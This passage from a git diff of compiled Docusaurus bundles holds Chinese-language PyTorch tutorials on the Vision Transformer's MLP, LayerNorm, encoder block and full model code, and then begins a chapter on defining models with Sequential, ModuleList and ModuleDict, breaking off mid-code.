x\n"})}),"\n",(0,i.jsx)(n.h3,{id:"mlp",children:"MLP"}),"\n",(0,i.jsx)(n.p,{children:"MLP\u5c42\u7c7b\u4f3c\u4e8e\u539f\u59cbTransformer\u4e2d\u7684Feed Forward Network\u3002"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"In ViT, only MLP layers are local and translationally equivariant, while the self-attention layers are global."}),"\n"]}),"\n",(0,i.jsxs)(n.p,{children:["\u4e3a\u4e86\u7406\u89e3\u8fd9\u53e5\u8bdd\uff0c\u5373 MLP \u53ea\u5bf9\u5c40\u90e8\u4fe1\u606f\u8fdb\u884c\u64cd\u4f5c\uff0c\u6211\u4eec\u9700\u8981\u5f3a\u8c03 ",(0,i.jsx)(n.code,{children:"nn.Linear()"})," \u64cd\u4f5c\u53ea\u5bf9\u8f93\u5165\u5f20\u91cf\u7684\u6700\u540e\u4e00\u4e2a\u7ef4\u5ea6\u8fdb\u884c\u64cd\u4f5c\u3002\u90a3\u4e48\uff0c\u5bf9\u4e8e\u8f93\u5165\u7ef4\u5ea6\u4e3a ",(0,i.jsx)(n.code,{children:"[batch_size, num_patches + 1, total_embed_dim]"}),"\uff0c\u5b66\u4e60\u5230\u7684\u7ebf\u6027\u5c42\u5bf9\u4e8e\u6240\u6709 ",(0,i.jsx)(n.code,{children:"patch"})," \u90fd\u662f\u4e00\u6837\u7684\u3002\u6240\u4ee5\uff0c\u5b83\u662f\u4e00\u4e2a\u5c40\u90e8\u4fe1\u606f\u7684\u5efa\u6a21\u3002\u5bf9\u4e8e Attention\uff0c\u56e0\u4e3a\u5b83\u662f\u5728\u4e0d\u540c\u7684 ",(0,i.jsx)(n.code,{children:"patch"})," \u5c42\u9762\u6216\u8005\u4e0d\u540c\u7684\u5e8f\u5217\u5c42\u9762\u8fdb\u884c\u5efa\u6a21\uff0c\u6240\u4ee5\u662f\u5168\u5c40\u4fe1\u606f\u5efa\u6a21\u3002\u56e0\u6b64\uff0c\u4f5c\u8005\u4f7f\u7528\u4e86 MLP \u548c Attention \u4e00\u8d77\u8fdb\u884c\u5c40\u90e8\u548c\u5168\u5c40\u4fe1\u606f\u7684\u63d0\u53d6\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:'class Mlp(nn.Module):\n """\n in_features --\x3e hidden_features --\x3e out_features\n \u8bba\u6587\u5b9e\u73b0\u65f6\uff1ain_features.shape = out_features.shape\n """\n def __init__(self, in_features, hidden_features=None, out_features=None, act_layer=nn.GELU, drop=0.):\n super().__init__()\n # \u7528or\u5b9e\u73b0\u4e86\u6216\u64cd\u4f5c\uff0c\u5f53hidden_features/out_features\u4e3a\u9ed8\u8ba4\u503cNone\u65f6\n # \u6b64\u65f6out_features/hidden_features=None or in_features = in_features\n # \u5f53\u5bf9out_features\u6216hidden_features\u8fdb\u884c\u8f93\u5165\u65f6\uff0cor\u64cd\u4f5c\u5c06\u4f1a\u9ed8\u8ba4\u9009\u62e9or\u524d\u9762\u7684\n # \u6b64\u65f6out_features/hidden_features = out_features/hidden_features\n out_features = out_features or in_features\n hidden_features = hidden_features or in_features\n self.fc1 = nn.Linear(in_features, hidden_features)\n self.act = act_layer()\n self.fc2 = nn.Linear(hidden_features, out_features)\n self.drop = nn.Dropout(drop)\n\n def forward(self, x):\n # in_features --\x3e hidden_features --\x3e out_features\n x = self.fc1(x)\n x = self.act(x)\n x = self.drop(x)\n x = self.fc2(x)\n x = self.drop(x)\n return x\n'})}),"\n",(0,i.jsx)(n.h3,{id:"layer-norm",children:"Layer Norm"}),"\n",(0,i.jsx)(n.p,{children:"Normalization \u6709\u5f88\u591a\u79cd\uff0c\u4f46\u662f\u5b83\u4eec\u90fd\u6709\u4e00\u4e2a\u5171\u540c\u7684\u76ee\u7684\uff0c\u90a3\u5c31\u662f\u628a\u8f93\u5165\u8f6c\u5316\u6210\u5747\u503c\u4e3a 0 \u65b9\u5dee\u4e3a 1 \u7684\u6570\u636e\uff08\u6216\u8005\u67d0\u4e2a\u5b66\u4e60\u5230\u7684\u5747\u503c\u548c\u65b9\u5dee\uff09\u3002\u6211\u4eec\u5728\u628a\u6570\u636e\u9001\u5165\u6fc0\u6d3b\u51fd\u6570\u4e4b\u524d\u8fdb\u884c Normalization\uff08\u5f52\u4e00\u5316\uff09\uff0c\u56e0\u4e3a\u6211\u4eec\u4e0d\u5e0c\u671b\u8f93\u5165\u6570\u636e\u843d\u5728\u6fc0\u6d3b\u51fd\u6570\u7684\u9971\u548c\u533a\u3002"}),"\n",(0,i.jsxs)(n.p,{children:["Batch Norm \u7684\u4f5c\u7528\u662f\u5728\u5bf9\u8fd9\u6279\u6837\u672c\u7684\u540c\u4e00\u7ef4\u5ea6\u7279\u5f81\u505a\u5f52\u4e00\u5316\uff0c\u800c Layer Norm \u7684\u4f5c\u7528\u662f\u5bf9",(0,i.jsx)(n.strong,{children:"\u5355\u4e2a\u6837\u672c\u7684\u6240\u6709\u7ef4\u5ea6\u7279\u5f81\u505a\u5f52\u4e00\u5316"}),"\u3002\u4e3e\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\uff0c\u5bf9\u4e8e\u901a\u8fc7\u7f16\u7801\u7684\u53e5\u5b50\u201c\u6211\u7231\u5b66\u4e60\u201d\uff0cBatch Norm \u662f\u5bf9\u8fd9\u56db\u4e2a\u5b57\u8fdb\u884c\u5f52\u4e00\u5316\uff0c\u800c Layer Norm \u662f\u5bf9\u6bcf\u4e2a\u5b57\u672c\u8eab\u7684\u7279\u5f81\u8fdb\u884c\u5f52\u4e00\u5316\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:["\u5bf9\u4e8e Layer Norm\uff0c\u5176\u516c\u5f0f\u5982\u4e0b\u6240\u793a\n$$L N\\left(x_i\\right)=\\alpha \\times \\frac{x_i-u_L}{\\sqrt{\\sigma_L^2+\\epsilon}}+\\beta$$\n\u53ef\u4ee5\u901a\u8fc7 ",(0,i.jsx)(n.code,{children:"nn.LayerNorm"})," \u8fdb\u884c\u5b9e\u73b0\u3002"]}),"\n",(0,i.jsx)(n.h3,{id:"transformer-encoder-\u5b8c\u6574\u4ee3\u7801",children:"Transformer Encoder \u5b8c\u6574\u4ee3\u7801"}),"\n",(0,i.jsx)(n.p,{children:"\u6574\u5408\u4e0a\u9762 Multi-head Attention\u3001MLP\u3001Norm (Layer Norm,LN) \u5e76\u5916\u52a0 shortcut \u8fde\u63a5\u4ee3\u7801\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230 Transformer Encoder \u7684\u5b8c\u6574\u4ee3\u7801\u3002"}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:'class Block(nn.Module):\n """\n \u6bcf\u4e00\u4e2aEncoder Block\u7684\u6784\u6210\n \u6bcf\u4e2aEncode Block\u7684\u6d41\u7a0b\uff1anorm1 --\x3e Multi-Head Attention --\x3e norm2 --\x3e MLP\n """\n def __init__(self,\n dim, # \u8f93\u5165mlp\u7684\u7ef4\u5ea6\n num_heads, # Multi-Head-Attention\u7684\u5934\u4e2a\u6570\n mlp_ratio=4., # hidden_features / in_features = mlp_ratio\n qkv_bias=False, # q,k,v\u7684\u751f\u6210\u662f\u5426\u4f7f\u7528bias\n qk_scale=None,\n drop_ratio=0., # dropout\u7684\u6bd4\u4f8b\n attn_drop_ratio=0., # \u6ce8\u610f\u529bdropout\u7684\u6bd4\u4f8b\n drop_path_ratio=0.,\n act_layer=nn.GELU, # \u6fc0\u6d3b\u51fd\u6570\u9ed8\u8ba4\u4f7f\u7528GELU\n norm_layer=nn.LayerNorm): # Norm\u9ed8\u8ba4\u4f7f\u7528LayerNorm\n super(Block, self).__init__()\n # \u7b2c\u4e00\u5c42normalization\n self.norm1 = norm_layer(dim)\n # self.attention\u5c42\u7684\u5b9e\u73b0\n self.attn = Attention(dim, num_heads=num_heads, qkv_bias=qkv_bias, qk_scale=qk_scale,attn_drop_ratio=attn_drop_ratio, proj_drop_ratio=drop_ratio)\n self.drop_path = DropPath(drop_path_ratio) if drop_path_ratio > 0. else nn.Identity()\n # \u7b2c\u4e8c\u5c42normalization\n self.norm2 = norm_layer(dim)\n mlp_hidden_dim = int(dim * mlp_ratio) # hidden_dim = dim * mlp_ratio\n # mlp\u5b9e\u73b0\n self.mlp = Mlp(in_features=dim, hidden_features=mlp_hidden_dim, act_layer=act_layer, drop=drop_ratio)\n\n def forward(self, x):\n # \u5b9e\u73b0\u4e86\u4e24\u4e2a\u6b8b\u5dee\u8fde\u63a5\n x = x + self.drop_path(self.attn(self.norm1(x)))\n x = x + self.drop_path(self.mlp(self.norm2(x)))\n return x\n'})}),"\n",(0,i.jsx)(n.h2,{id:"vit-\u5b8c\u6574\u4ee3\u7801",children:"ViT \u5b8c\u6574\u4ee3\u7801"}),"\n",(0,i.jsx)(n.p,{children:"\u5bf9\u8f93\u5165\u56fe\u50cf\uff0c\u8fdb\u884c\u5207\u5206\u548c\u5f71\u5c04\u3001\u52a0\u5165\u5206\u7c7b\u8868\u5f81\u548c\u4f4d\u7f6e\u4fe1\u606f\u3001\u7ecf\u8fc7 Transformer Encoder\u3001\u7136\u540e\u6dfb\u52a0\u4e00\u4e2a\u5206\u7c7b\u5934\u8fdb\u884c\u8f93\u51fa\uff0c\u6211\u4eec\u5c31\u5b8c\u6210\u4e86 ViT \u6240\u6709\u7684\u4ee3\u7801\u3002"}),"\n",(0,i.jsxs)(n.p,{children:["\u5b8c\u6574\u7684 ViT \u4e3b\u8981\u6a21\u5757\u6d41\u7a0b\uff0c\u89c1\u4e0b\u65b9 ",(0,i.jsx)(n.code,{children:"VisionTransformer"}),"\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:'class VisionTransformer(nn.Module):\n def __init__(self,\n img_size=224,\n patch_size=16,\n in_c=3,\n num_classes=1000,\n embed_dim=768,\n depth=12,\n num_heads=12,\n mlp_ratio=4.0,\n qkv_bias=True,\n qk_scale=None,\n representation_size=None,\n distilled=False,\n drop_ratio=0.,\n attn_drop_ratio=0.,\n drop_path_ratio=0.,\n embed_layer=PatchEmbed,\n norm_layer=None,\n act_layer=None):\n """\n Args:\n img_size (int, tuple): input image size\n patch_size (int, tuple): patch size\n in_c (int): number of input channels\n num_classes (int): number of classes for classification head\n embed_dim (int): embedding dimension\n depth (int): depth of transformer\n num_heads (int): number of attention heads\n mlp_ratio (int): ratio of mlp hidden dim to embedding dim\n qkv_bias (bool): enable bias for qkv if True\n qk_scale (float): override default qk scale of head_dim ** -0.5 if set\n representation_size (Optional[int]): enable and set representation layer (pre-logits) to this value if set\n distilled (bool): model includes a distillation token and head as in DeiT models\n drop_ratio (float): dropout rate\n attn_drop_ratio (float): attention dropout rate\n drop_path_ratio (float): stochastic depth rate\n embed_layer (nn.Module): patch embedding layer\n norm_layer: (nn.Module): normalization layer\n """\n super(VisionTransformer, self).__init__()\n self.num_classes = num_classes\n # \u6bcf\u4e2apatch\u7684\u56fe\u50cf\u7ef4\u5ea6 = embed_dim\n self.num_features = self.embed_dim = embed_dim # num_features for consistency with other models\n # token\u7684\u4e2a\u6570\u4e3a1\n self.num_tokens = 2 if distilled else 1\n # \u8bbe\u7f6e\u6fc0\u6d3b\u51fd\u6570\u548cnorm\u51fd\u6570\n norm_layer = norm_layer or partial(nn.LayerNorm, eps=1e-6)\n act_layer = act_layer or nn.GELU\n # \u5bf9\u5e94\u7684\u5c06\u56fe\u7247\u6253\u6210patch\u7684\u64cd\u4f5c\n self.patch_embed = embed_layer(img_size=img_size, patch_size=patch_size, in_c=in_c, embed_dim=embed_dim)\n num_patches = self.patch_embed.num_patches\n # \u8bbe\u7f6e\u5206\u7c7b\u7684cls_token\n self.cls_token = nn.Parameter(torch.zeros(1, 1, embed_dim))\n # distilled \u662fDeit\u4e2d\u7684 \u8fd9\u91cc\u4e3aNone\n self.dist_token = nn.Parameter(torch.zeros(1, 1, embed_dim)) if distilled else None\n # pos_embedding \u4e3a\u4e00\u4e2a\u53ef\u4ee5\u5b66\u4e60\u7684\u53c2\u6570\n self.pos_embed = nn.Parameter(torch.zeros(1, num_patches + self.num_tokens, embed_dim))\n self.pos_drop = nn.Dropout(p=drop_ratio)\n\n dpr = [x.item() for x in torch.linspace(0, drop_path_ratio, depth)] # stochastic depth decay rule\n # \u4f7f\u7528nn.Sequential\u8fdb\u884c\u6784\u5efa\uff0cViT\u4e2d\u6df1\u5ea6\u4e3a12\n self.blocks = nn.Sequential(*[\n Block(dim=embed_dim, num_heads=num_heads, mlp_ratio=mlp_ratio, qkv_bias=qkv_bias, qk_scale=qk_scale,\n drop_ratio=drop_ratio, attn_drop_ratio=attn_drop_ratio, drop_path_ratio=dpr[i],\n norm_layer=norm_layer, act_layer=act_layer)\n for i in range(depth)\n ])\n self.norm = norm_layer(embed_dim)\n\n # Representation layer\n if representation_size and not distilled:\n self.has_logits = True\n self.num_features = representation_size\n self.pre_logits = nn.Sequential(OrderedDict([\n ("fc", nn.Linear(embed_dim, representation_size)),\n ("act", nn.Tanh())\n ]))\n else:\n self.has_logits = False\n self.pre_logits = nn.Identity()\n\n # Classifier head(s)\n self.head = nn.Linear(self.num_features, num_classes) if num_classes > 0 else nn.Identity()\n self.head_dist = None\n if distilled:\n self.head_dist = nn.Linear(self.embed_dim, self.num_classes) if num_classes > 0 else nn.Identity()\n\n # Weight init\n nn.init.trunc_normal_(self.pos_embed, std=0.02)\n if self.dist_token is not None:\n nn.init.trunc_normal_(self.dist_token, std=0.02)\n\n nn.init.trunc_normal_(self.cls_token, std=0.02)\n self.apply(_init_vit_weights)\n\n def forward_features(self, x):\n # [B, C, H, W] -> [B, num_patches, embed_dim]\n x = self.patch_embed(x) # [B, 196, 768]\n # [1, 1, 768] -> [B, 1, 768]\n cls_token = self.cls_token.expand(x.shape[0], -1, -1)\n if self.dist_token is None:\n x = torch.cat((cls_token, x), dim=1) # [B, 197, 768]\n else:\n x = torch.cat((cls_token, self.dist_token.expand(x.shape[0], -1, -1), x), dim=1)\n\n x = self.pos_drop(x + self.pos_embed)\n x = self.blocks(x)\n x = self.norm(x)\n if self.dist_token is None:\n return self.pre_logits(x[:, 0])\n else:\n return x[:, 0], x[:, 1]\n\n def forward(self, x):\n x = self.forward_features(x)\n if self.head_dist is not None:\n x, x_dist = self.head(x[0]), self.head_dist(x[1])\n if self.training and not torch.jit.is_scripting():\n # during inference, return the average of both classifier predictions\n return x, x_dist\n else:\n return (x + x_dist) / 2\n else:\n x = self.head(x)\n return x\n\n\ndef _init_vit_weights(m):\n """\n ViT weight initialization\n :param m: module\n """\n if isinstance(m, nn.Linear):\n nn.init.trunc_normal_(m.weight, std=.01)\n if m.bias is not None:\n nn.init.zeros_(m.bias)\n elif isinstance(m, nn.Conv2d):\n nn.init.kaiming_normal_(m.weight, mode="fan_out")\n if m.bias is not None:\n nn.init.zeros_(m.bias)\n elif isinstance(m, nn.LayerNorm):\n nn.init.zeros_(m.bias)\n nn.init.ones_(m.weight)\n'})}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"\u53c2\u8003\uff1a"}),"\n",(0,i.jsxs)(n.p,{children:["An Image is Worth 16x16 Words: Transformers for Image Recognition at Scale ",(0,i.jsx)(n.a,{href:"https://arxiv.org/pdf/2010.11929.pdf",children:"https://arxiv.org/pdf/2010.11929.pdf"}),"\nAttention Is All You Need ",(0,i.jsx)(n.a,{href:"https://arxiv.org/abs/1706.03762",children:"https://arxiv.org/abs/1706.03762"})]}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,i.jsx)(n,{...e,children:(0,i.jsx)(c,{...e})}):c(e)}},87162:(e,n,s)=>{s.d(n,{A:()=>t});const t=s.p+"assets/images/vit_cls_pos-26ef4ba5b2c3c795f3a292dc422423be.png"}}]); \ No newline at end of file diff --git a/assets/js/a4578e69.a71ce31e.js b/assets/js/a4578e69.a71ce31e.js new file mode 100644 index 0000000..2fadfe3 --- /dev/null +++ b/assets/js/a4578e69.a71ce31e.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[1482],{21798:(e,n,i)=>{i.r(n),i.d(n,{assets:()=>c,contentTitle:()=>t,default:()=>h,frontMatter:()=>d,metadata:()=>r,toc:()=>o});const r=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f","title":"5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/05.\u7b2c\u4e94\u7ae0/5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"\u7b2c\u4e94\u7ae0","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/"},"next":{"title":"5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u4e94\u7ae0/5.2 \u5229\u7528\u6a21\u578b\u5757\u5feb\u901f\u642d\u5efa\u590d\u6742\u7f51\u7edc"}}');var l=i(74848),s=i(28453);const d={},t="5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md",c={},o=[{value:"5.1.1 \u5fc5\u8981\u7684\u77e5\u8bc6\u56de\u987e",id:"511-\u5fc5\u8981\u7684\u77e5\u8bc6\u56de\u987e",level:2},{value:"5.1.2 Sequential",id:"512-sequential",level:2},{value:"5.1.3 ModuleList",id:"513-modulelist",level:2},{value:"5.1.4 ModuleDict",id:"514-moduledict",level:2},{value:"5.1.5 \u4e09\u79cd\u65b9\u6cd5\u7684\u6bd4\u8f83\u4e0e\u9002\u7528\u573a\u666f",id:"515-\u4e09\u79cd\u65b9\u6cd5\u7684\u6bd4\u8f83\u4e0e\u9002\u7528\u573a\u666f",level:2},{value:"\u672c\u8282\u53c2\u8003",id:"\u672c\u8282\u53c2\u8003",level:2}];function a(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,s.R)(),...e.components};return(0,l.jsxs)(l.Fragment,{children:[(0,l.jsx)(n.header,{children:(0,l.jsx)(n.h1,{id:"51-pytorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0fmd",children:"5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:18"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,l.jsxs)(n.table,{children:[(0,l.jsx)(n.thead,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,l.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,l.jsx)(n.tbody,{children:(0,l.jsxs)(n.tr,{children:[(0,l.jsx)(n.td,{style:{textAlign:"left"},children:(0,l.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,l.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,l.jsx)(n.h1,{id:"51-pytorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f",children:"5.1 PyTorch\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f"}),"\n",(0,l.jsx)(n.p,{children:"\u6a21\u578b\u5728\u6df1\u5ea6\u5b66\u4e60\u4e2d\u626e\u6f14\u7740\u91cd\u8981\u7684\u89d2\u8272\uff0c\u597d\u7684\u6a21\u578b\u6781\u5927\u5730\u4fc3\u8fdb\u4e86\u6df1\u5ea6\u5b66\u4e60\u7684\u53d1\u5c55\u8fdb\u6b65\uff0c\u6bd4\u5982CNN\u7684\u63d0\u51fa\u89e3\u51b3\u4e86\u56fe\u50cf\u3001\u89c6\u9891\u5904\u7406\u4e2d\u7684\u8bf8\u591a\u95ee\u9898\uff0cRNN/LSTM\u6a21\u578b\u89e3\u51b3\u4e86\u5e8f\u5217\u6570\u636e\u5904\u7406\u7684\u95ee\u9898\uff0cGNN\u5728\u56fe\u6a21\u578b\u4e0a\u53d1\u6325\u7740\u91cd\u8981\u7684\u4f5c\u7528\u3002\u5f53\u6211\u4eec\u5728\u5411\u4ed6\u4eba\u4ecb\u7ecd\u4e00\u9879\u6df1\u5ea6\u5b66\u4e60\u5de5\u4f5c\u7684\u65f6\u5019\uff0c\u5bf9\u65b9\u53ef\u80fd\u9996\u5148\u8981\u95ee\u7684\u5c31\u662f\u4f7f\u7528\u4e86\u54ea\u4e9b\u6a21\u578b\u3002\u56e0\u6b64\uff0c\u5728PyTorch\u8fdb\u9636\u64cd\u4f5c\u7684\u7b2c\u4e00\u90e8\u5206\u4e2d\uff0c\u6211\u4eec\u9996\u5148\u6765\u5b66\u4e60PyTorch\u6a21\u578b\u76f8\u5173\u7684\u5185\u5bb9\u3002"}),"\n",(0,l.jsx)(n.p,{children:"\u5728\u7b2c\u4e00\u90e8\u5206\u8bfe\u7a0b\u7684\u7b2c\u4e09\u7ae0\u4e2d\uff0c\u6211\u4eec\u5df2\u7ecf\u5b66\u4e60\u4e86\u6a21\u578b\u4e2d\u7684\u201c\u5c42\u201c\u662f\u5982\u4f55\u5b9a\u4e49\u7684\uff0c\u4ee5\u53ca\u57fa\u7840\u7684\u6a21\u578b\u662f\u5982\u4f55\u6784\u5efa\u7684\u3002\u8fd9\u91cc\u6211\u4eec\u6765\u66f4\u4e3a\u7cfb\u7edf\u5730\u5b66\u4e60PyTorch\u4e2d\u6a21\u578b\u5b9a\u4e49\u7684\u65b9\u5f0f\uff0c\u672c\u8282\u7684\u5b66\u4e60\u5c06\u4e3a\u540e\u7eed\u7075\u6d3b\u6784\u5efa\u81ea\u5df1\u7684\u6a21\u578b\u6253\u4e0b\u575a\u5b9e\u7684\u57fa\u7840\u3002"}),"\n",(0,l.jsx)(n.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7*\uff1a"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsx)(n.li,{children:"\u719f\u6089PyTorch\u4e2d\u6a21\u578b\u5b9a\u4e49\u7684\u4e09\u79cd\u65b9\u5f0f"}),"\n",(0,l.jsx)(n.li,{children:"\u8bfb\u61c2GitHub\u4e0a\u5343\u5947\u767e\u602a\u7684\u5199\u6cd5"}),"\n",(0,l.jsx)(n.li,{children:"\u81ea\u5df1\u6839\u636e\u9700\u8981\u7075\u6d3b\u9009\u53d6\u6a21\u578b\u5b9a\u4e49\u65b9\u5f0f"}),"\n"]}),"\n",(0,l.jsx)(n.h2,{id:"511-\u5fc5\u8981\u7684\u77e5\u8bc6\u56de\u987e",children:"5.1.1 \u5fc5\u8981\u7684\u77e5\u8bc6\u56de\u987e"}),"\n",(0,l.jsxs)(n.ul,{children:["\n",(0,l.jsxs)(n.li,{children:[(0,l.jsx)(n.code,{children:"Module"})," \u7c7b\u662f ",(0,l.jsx)(n.code,{children:"torch.nn"})," \u6a21\u5757\uf9e9\u63d0\u4f9b\u7684\u4e00\u4e2a\u6a21\u578b\u6784\u9020\u7c7b (",(0,l.jsx)(n.code,{children:"nn.Module"}),")\uff0c\u662f\u6240\u6709\u795e\u7ecf\u2f79\u7f51\u7edc\u6a21\u5757\u7684\u57fa\u7c7b\uff0c\u6211\u4eec\u53ef\u4ee5\u7ee7\u627f\u5b83\u6765\u5b9a\u4e49\u6211\u4eec\u60f3\u8981\u7684\u6a21\u578b\uff1b"]}),"\n",(0,l.jsxs)(n.li,{children:["PyTorch\u6a21\u578b\u5b9a\u4e49\u5e94\u5305\u62ec\u4e24\u4e2a\u4e3b\u8981\u90e8\u5206\uff1a\u5404\u4e2a\u90e8\u5206\u7684\u521d\u59cb\u5316\uff08",(0,l.jsx)(n.code,{children:"__init__"}),"\uff09\uff1b\u6570\u636e\u6d41\u5411\u5b9a\u4e49\uff08",(0,l.jsx)(n.code,{children:"forward"}),"\uff09"]}),"\n"]}),"\n",(0,l.jsxs)(n.p,{children:["\u57fa\u4e8e",(0,l.jsx)(n.code,{children:"nn.Module"}),"\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7",(0,l.jsx)(n.code,{children:"Sequential"}),"\uff0c",(0,l.jsx)(n.code,{children:"ModuleList"}),"\u548c",(0,l.jsx)(n.code,{children:"ModuleDict"}),"\u4e09\u79cd\u65b9\u5f0f\u5b9a\u4e49PyTorch\u6a21\u578b\u3002"]}),"\n",(0,l.jsx)(n.p,{children:"\u4e0b\u9762\u6211\u4eec\u5c31\u6765\u9010\u4e2a\u63a2\u7d22\u8fd9\u4e09\u79cd\u6a21\u578b\u5b9a\u4e49\u65b9\u5f0f\u3002"}),"\n",(0,l.jsx)(n.h2,{id:"512-sequential",children:"5.1.2 Sequential"}),"\n",(0,l.jsxs)(n.p,{children:["\u5bf9\u5e94\u6a21\u5757\u4e3a",(0,l.jsx)(n.code,{children:"nn.Sequential()"}),"\u3002"]}),"\n",(0,l.jsxs)(n.p,{children:["\u5f53\u6a21\u578b\u7684\u524d\u5411\u8ba1\u7b97\u4e3a\u7b80\u5355\uf905\u8054\u5404\u4e2a\u5c42\u7684\u8ba1\u7b97\u65f6\uff0c ",(0,l.jsx)(n.code,{children:"Sequential"})," \u7c7b\u53ef\u4ee5\u901a\u8fc7\uf901\u52a0\u7b80\u5355\u7684\u65b9\u5f0f\u5b9a\u4e49\u6a21\u578b\u3002\u5b83\u53ef\u4ee5\u63a5\u6536\u4e00\u4e2a\u5b50\u6a21\u5757\u7684\u6709\u5e8f\u5b57\u5178(OrderedDict) \u6216\u8005\u4e00\u7cfb\u5217\u5b50\u6a21\u5757\u4f5c\u4e3a\u53c2\u6570\u6765\u9010\u4e00\u6dfb\u52a0 ",(0,l.jsx)(n.code,{children:"Module"})," \u7684\u5b9e\uf9b5\uff0c\u2f7d\u6a21\u578b\u7684\u524d\u5411\u8ba1\u7b97\u5c31\u662f\u5c06\u8fd9\u4e9b\u5b9e\uf9b5\u6309\u6dfb\u52a0\u7684\u987a\u5e8f\u9010\u2f00\u8ba1\u7b97\u3002\u6211\u4eec\u7ed3\u5408",(0,l.jsx)(n.code,{children:"Sequential"}),"\u548c\u5b9a\u4e49\u65b9\u5f0f\u52a0\u4ee5\u7406\u89e3\uff1a"]}),"\n",(0,l.jsx)(n.pre,{children:(0,l.jsx)(n.code,{className:"language-python",children:"from collections import OrderedDict\nclass MySequential(nn.Module):\n def __init__(self, *args):\n super(MySequential, self).__init__()\n if len(args) == 1 and isinstance(args[0], OrderedDict): # \u5982\u679c\u4f20\u5165\u7684\u662f\u4e00\u4e2aOrderedDict\n for key, module in args[0].items():\n self.add_module(key, module) \n # add_module\u65b9\u6cd5\u4f1a\u5c06module\u6dfb\u52a0\u8fdbself._modules(\u4e00\u4e2aOrderedDict)\n else: # \u4f20\u5165\u7684\u662f\u4e00\u4e9bModule\n for idx, module in enumerate(args):\n self.add_module(str(idx), module)\n def forward(self, input):\n # self._modules\u8fd4\u56de\u4e00\u4e2a 